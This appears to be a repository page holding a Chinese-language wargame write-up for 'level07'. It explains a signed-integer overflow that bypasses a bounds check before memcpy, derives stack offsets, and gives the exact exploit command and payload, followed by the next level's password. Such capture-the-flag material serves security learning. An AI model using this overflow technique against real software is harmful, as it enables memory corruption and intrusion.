summaryrefslogtreecommitdiff
path: root/level07
blob: 36a0bc8f03de206981f0572e78a7fb0b440fd27a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
注意以下代码中 count 是有符号数,只要使 count 为负数,而 count * sizeof(int) 为一个比较小的整数,则既能绕过 count >= 10 的检测,又能使程序正常运行::

        int count = atoi(argv[1]);
        int buf[10];
        if(count >= 10 ) 
                return 1;
        memcpy(buf, argv[2], count * sizeof(int));

经过逆向,buf 的地址是 ebp-0x48,count 的地址是 ebp-0xc,因此一共需要写 0x40 字节。我们让 count = 0x80000000 | (0x40 / sizeof(int)) = 0x80000010 = -2147483632 即可。

顺便说一下,这关通过的条件是 count == 0x574f4c46,就是字符串 FLOW,暗示了是整数溢出。

/levels/level07 -2147483632 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abFLOW

level8 VSIhoeMkikH6SGht